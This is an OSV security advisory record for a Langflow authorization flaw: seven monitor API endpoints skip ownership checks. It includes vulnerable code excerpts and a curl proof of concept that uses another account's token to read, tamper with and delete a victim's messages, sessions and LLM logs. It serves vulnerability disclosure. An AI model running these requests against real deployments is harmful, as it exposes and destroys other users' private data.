{"id":"GHSA-9c59-2mvc-vfr8","summary":"Langflow: IDOR/BOLA in Monitor API — Missing Ownership Enforcement on 7 Endpoints ","details":"### Summary\n\nLangflow's `/api/v1/monitor` router exposes 7 endpoints that perform read, write, and delete operations on user-owned resources — messages, sessions, build artifacts, and LLM transaction logs — without verifying that the authenticated requester owns the targeted resource. Any authenticated user can read, modify, rename, or permanently delete another user's data by supplying the target's resource ID or `flow_id`. This is a classic IDOR/BOLA vulnerability. Notably, the same source file (`monitor.py`) contains one correctly-implemented endpoint that uses an ownership check, demonstrating the correct pattern was known but inconsistently applied.\n\n\n### Details\n\n**Source file: `src/backend/base/langflow/api/v1/monitor.py`**\n\nThe correct pattern (used only in `GET /monitor/messages`, lines 77–80):\n```python\nstmt = select(MessageTable)\nstmt = stmt.join(Flow, MessageTable.flow_id == Flow.id)\nstmt = stmt.where(Flow.user_id == current_user.id)  # ownership enforced\n```\n\nAll 7 vulnerable endpoints are missing this guard:\n\n**1. `GET /api/v1/monitor/builds` (lines 27–33)** — reads build data for any `flow_id`:\n```python\n@router.get(\"/builds\", dependencies=[Depends(get_current_active_user)])\nasync def get_vertex_builds(flow_id: Annotated[UUID, Query()], session: DbSession):\n    vertex_builds = await get_vertex_builds_by_flow_id(session, flow_id)  # no ownership check\n    return VertexBuildMapModel.from_list_of_dicts(vertex_builds)\n```\n\n**2. `DELETE /api/v1/monitor/messages` (lines 102–107)** — deletes any message by UUID:\n```python\n@router.delete(\"/messages\", status_code=204, dependencies=[Depends(get_current_active_user)])\nasync def delete_messages(message_ids: list[UUID], session: DbSession):\n    await session.exec(delete(MessageTable).where(MessageTable.id.in_(message_ids)))\n    # message_ids accepted verbatim, no ownership check\n```\n\n**3. `PUT /api/v1/monitor/messages/{message_id}` (lines 110–134)** — overwrites any message:\n```python\ndb_message = await session.get(MessageTable, message_id)\n# no check: db_message.flow_id → Flow.user_id == current_user.id\ndb_message.sqlmodel_update(message_dict)\n```\n\n**4. `PATCH /api/v1/monitor/messages/session/{old_session_id}` (lines 137–171)** — renames any session:\n```python\nstmt = select(MessageTable).where(MessageTable.session_id == old_session_id)\n# no JOIN to Flow, no WHERE Flow.user_id == current_user.id\n```\n\n**5. `DELETE /api/v1/monitor/messages/session/{session_id}` (lines 174–188)** — bulk-deletes any session:\n```python\nawait session.exec(\n    delete(MessageTable).where(col(MessageTable.session_id) == session_id)\n    # no ownership filter\n)\n```\n\n**6. `GET /api/v1/monitor/transactions` (lines 191–211)** — reads LLM prompt/response logs for any `flow_id`:\n```python\nstmt = select(TransactionTable).where(TransactionTable.flow_id == flow_id)\n# no JOIN to Flow, no WHERE Flow.user_id == current_user.id\n```\n\n**7. `DELETE /api/v1/monitor/builds`** — deletes build records for any `flow_id`:\nShares the same root cause as endpoint #1 (`GET /builds`): `flow_id` is accepted as a bare query parameter and passed to the deletion path without a `WHERE Flow.user_id == current_user.id` ownership check, so any authenticated user can destroy another user's build artifacts.\n\n### PoC\n\nTested on Langflow v1.7.3 (`langflowai/langflow:1.7.3`) with two accounts: `langflow` (victim) and `attacker_test` (attacker).\n\n```bash\n# Setup: authenticate both users\nTOKEN=$(curl -s -X POST http://localhost:7860/api/v1/login \\\n  -d \"username=langflow&password=langflow\" \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)['access_token'])\")\n\nATTKR=$(curl -s -X POST http://localhost:7860/api/v1/login \\\n  -d \"username=attacker_test&password=Attacker123\" \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)['access_token'])\")\n\n# Victim creates a flow (attacker only needs to know the flow_id — obtainable via brute force or enumeration)\nFLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \\\n  -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"victim-flow\",\"data\":{\"nodes\":[],\"edges\":[]}}' \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)['id'])\")\n\n# PoC 1: Read victim's LLM transaction logs (prompts + model responses)\ncurl -s \"http://localhost:7860/api/v1/monitor/transactions?flow_id=$FLOW_ID\" \\\n  -H \"Authorization: Bearer $ATTKR\"\n# HTTP 200 — full transaction log returned including user prompts and model responses\n\n# PoC 2: Read victim's build data\ncurl -s \"http://localhost:7860/api/v1/monitor/builds?flow_id=$FLOW_ID\" \\\n  -H \"Authorization: Bearer $ATTKR\"\n# HTTP 200\n\n# PoC 3: Delete victim's message (MESSAGE_ID obtained from transaction log above)\ncurl -s -X DELETE \"http://localhost:7860/api/v1/monitor/messages\" \\\n  -H \"Authorization: Bearer $ATTKR\" -H \"Content-Type: application/json\" \\\n  -d '[\"\u003cvictim_message_id\u003e\"]'\n# HTTP 204 — message deleted\n\n# PoC 4: Tamper with victim's message content\ncurl -s -X PUT \"http://localhost:7860/api/v1/monitor/messages/\u003cvictim_message_id\u003e\" \\\n  -H \"Authorization: Bearer $ATTKR\" -H \"Content-Type: application/json\" \\\n  -d '{\"text\":\"TAMPERED BY ATTACKER\"}'\n# HTTP 200 — message overwritten, \"edit\":true set\n\n# PoC 5: Rename victim's session\ncurl -s -X PATCH \\\n  \"http://localhost:7860/api/v1/monitor/messages/session/victim-session-1?new_session_id=attacker-controlled\" \\\n  -H \"Authorization: Bearer $ATTKR\"\n# HTTP 200 — session renamed\n\n# PoC 6: Bulk-delete victim's entire session\ncurl -s -X DELETE \\\n  \"http://localhost:7860/api/v1/monitor/messages/session/victim-session-2\" \\\n  -H \"Authorization: Bearer $ATTKR\"\n# HTTP 204 — entire session deleted\n```\n\nAll 6 demonstrated attack vectors confirmed (the 7th, `DELETE /builds`, shares the `GET /builds` root cause and was not separately scripted). After attacker operations: victim's message text read `\"TAMPERED BY ATTACKER\"`, session renamed to attacker-controlled name, second session completely deleted.\n\n### Impact\n\nThis vulnerability affects any Langflow deployment with multiple users (team instances, SaaS deployments, enterprise self-hosted).\n\n**Confidentiality:** `GET /transactions` exposes the full LLM conversation history — user-submitted prompts and model responses — for any flow by `flow_id`. In healthcare, legal, financial, or HR deployments this directly exposes sensitive and potentially regulated data (HIPAA, GDPR). `GET /builds` exposes internal workflow execution state.\n\n**Integrity:** `PUT /messages/{id}` allows rewriting any stored message, corrupting chat history, audit trails, and RAG-indexed memory. `PATCH /messages/session/{id}` allows renaming sessions, breaking session continuity and potentially injecting victim context into attacker-controlled namespaces.\n\n**Availability:** `DELETE /messages` and `DELETE /messages/session/{id}` enable permanent, irreversible destruction of another user's conversation history and LLM logs. No recovery mechanism exists once data is deleted.\n\nAny registered user account (including self-registered accounts if registration is open) has unrestricted cross-user access to all 6 operations against any other user's data.","aliases":["CVE-2026-33760","PYSEC-2026-242"],"modified":"2026-07-20T13:45:32.249089678Z","published":"2026-06-16T17:34:21Z","database_specific":{"github_reviewed_at":"2026-06-16T17:34:21Z","nvd_published_at":"2026-06-23T17:16:52Z","cwe_ids":["CWE-639"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/langflow-ai/langflow/security/advisories/GHSA-9c59-2mvc-vfr8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33760"},{"type":"PACKAGE","url":"https://github.com/langflow-ai/langflow"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/langflow/PYSEC-2026-242.yaml"}],"affected":[{"package":{"name":"langflow","ecosystem":"PyPI","purl":"pkg:pypi/langflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.0"}]}],"versions":["0.0.31","0.0.32","0.0.33","0.0.40","0.0.44","0.0.45","0.0.46","0.0.52","0.0.53","0.0.54","0.0.55","0.0.56","0.0.57","0.0.58","0.0.61","0.0.62","0.0.63","0.0.64","0.0.65","0.0.66","0.0.67","0.0.68","0.0.69","0.0.70","0.0.71","0.0.72","0.0.73","0.0.74","0.0.75","0.0.76","0.0.78","0.0.79","0.0.80","0.0.81","0.0.83","0.0.84","0.0.85","0.0.86","0.0.87","0.0.88","0.0.89","0.1.0","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.2.0","0.2.1","0.2.10","0.2.11","0.2.12","0.2.13","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.2.7","0.2.8","0.2.9","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.4.0","0.4.1","0.4.10","0.4.11","0.4.12","0.4.14","0.4.15","0.4.16","0.4.17","0.4.18","0.4.19","0.4.2","0.4.20","0.4.21","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.5.0","0.5.0a0","0.5.0a1","0.5.0a2","0.5.0a3","0.5.0a4","0.5.0a5","0.5.0a6","0.5.0b0","0.5.0b2","0.5.0b3","0.5.0b4","0.5.0b5","0.5.0b6","0.5.1","0.5.10","0.5.11","0.5.12","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.0rc1","0.6.1","0.6.10","0.6.11","0.6.12","0.6.14","0.6.15","0.6.16","0.6.17","0.6.18","0.6.19","0.6.2","0.6.3","0.6.3a0","0.6.3a1","0.6.3a2","0.6.3a3","0.6.3a4","0.6.3a5","0.6.3a6","0.6.3a7","0.6.4","0.6.4a0","0.6.4a1","0.6.5","0.6.5a0","0.6.5a1","0.6.5a10","0.6.5a11","0.6.5a12","0.6.5a13","0.6.5a2","0.6.5a3","0.6.5a4","0.6.5a5","0.6.5a6","0.6.5a7","0.6.5a8","0.6.5a9","0.6.6","0.6.7","0.6.7a1","0.6.7a2","0.6.7a3","0.6.7a5","0.6.8","0.6.9","1.0.0","1.0.0a0","1.0.0a1","1.0.0a10","1.0.0a11","1.0.0a12","1.0.0a13","1.0.0a14","1.0.0a15","1.0.0a17","1.0.0a18","1.0.0a19","1.0.0a2","1.0.0a20","1.0.0a21","1.0.0a22","1.0.0a23","1.0.0a24","1.0.0a25","1.0.0a26","1.0.0a27","1.0.0a28","1.0.0a29","1.0.0a3","1.0.0a30","1.0.0a31","1.0.0a32","1.0.0a33","1.0.0a34","1.0.0a35","1.0.0a36","1.0.0a37","1.0.0a38","1.0.0a39","1.0.0a4","1.0.0a40","1.0.0a41","1.0.0a42","1.0.0a43","1.0.0a44","1.0.0a45","1.0.0a46","1.0.0a47","1.0.0a48","1.0.0a49","1.0.0a5","1.0.0a50","1.0.0a51","1.0.0a52","1.0.0a53","1.0.0a55","1.0.0a56","1.0.0a57","1.0.0a58","1.0.0a59","1.0.0a6","1.0.0a60","1.0.0a61","1.0.0a7","1.0.0a8","1.0.0a9","1.0.0rc0","1.0.0rc1","1.0.1","1.0.10","1.0.11","1.0.12","1.0.13","1.0.14","1.0.15","1.0.16","1.0.17","1.0.18","1.0.19","1.0.19.post1","1.0.19.post2","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.1","1.1.2","1.1.3","1.1.4","1.1.4.post1","1.2.0","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.4.0","1.4.1","1.4.2","1.4.3","1.5.0","1.5.0.post1","1.5.0.post2","1.5.1","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.7.1","1.7.2","1.7.3","1.8.0","1.8.0rc0","1.8.0rc1","1.8.0rc2","1.8.0rc3","1.8.0rc4","1.8.0rc5","1.8.0rc6","1.8.1","1.8.2","1.8.3","1.8.3rc0","1.8.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-9c59-2mvc-vfr8/GHSA-9c59-2mvc-vfr8.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}]}